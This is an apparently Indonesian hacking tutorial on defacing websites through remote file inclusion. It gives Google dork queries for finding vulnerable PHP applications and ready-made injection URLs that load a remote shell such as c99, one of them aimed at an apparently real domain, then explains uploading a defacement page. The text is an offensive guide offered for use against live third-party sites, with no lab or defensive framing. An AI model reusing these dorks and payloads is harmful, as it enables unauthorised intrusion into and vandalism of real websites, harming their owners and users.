Deface Web Simple Via RFI

Cara Mudah Deface Remote File Include, Sebelum kita mulai lebih baik juga kita mengetahwi berbagai macam Command command yang bermanfaat bagi kita.

    cd namadirectory = Melihat Suatu directory
    ls -al = Melihat Suatu Directory Lebih Dalam lagi
    find = Mengecek Directory directory
    cat = Membaca Suatu Berkas
    wget = MengUpload suatu Files
    tar -zxvf = MengExtraxt suatu files yang berbentuk tgz
    pwd = Mengetahui Di Directory mana Kita Berada
    uname -a = Keberadaan Path berada
    w = Mengetahui Siapa Saja yang telah menggunakan Shell.
    curl = mendownload url
    [EvilShellInject] = inject rshell / c99 kamu

Baiklah kita mulai dengan PHP karena PHP banyak sekali BUG nya..di antaranya :
- Site Oneadmin RFI
atau cari RFI di exploit db atau web penyedia exploit lain. Kamu Search di Google masukkan Kata Kunci oneadmin site:.com / oneadmin site:com, lalu sekarang saya kasi contoh pathnya :
http://target.com/oneadmin/config.php?path[docroot]=
Contoh :
http://target.com/oneadmin/config.php?path[docroot]=[EvilShellInject]
Kamu Search di Google masukkan Kata Kunci modules.php powered by pnphpbb2 site:.com / modules.php powered by pnphpbb2 site:.net atau apa saja yang kalian suka atau kehendaki.
nah sekarang saya kasi contoh pathnya:
http://target.com/modules/PNphpBB2/include/functions_admin.php?phpbb_root_path=[EvilShellInject]
Contoh :
http://www.sikhe.com/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=[EvilShellInject]
- Support Ticket
Kamu Search di Google masukkan Kata Kunci include/main.php site:.com / include/main.php site:.net atau apa saja yang kalian suka. sekarang saya kasi contoh pathnya
http://target.com/include/main.php?config[search_disp]=true&include_dir=
Contoh : …
http://target.com/include/main.php?config[search_disp]=true&include_dir=[EvilShellInject]
nah sekarang tinggal upload file html/php defacesan kita ke direktoryinya
kemudian buka website yang telah di deface:
http://target.com/lokasipathnya/index.html



thanks to explorer crew

Tweet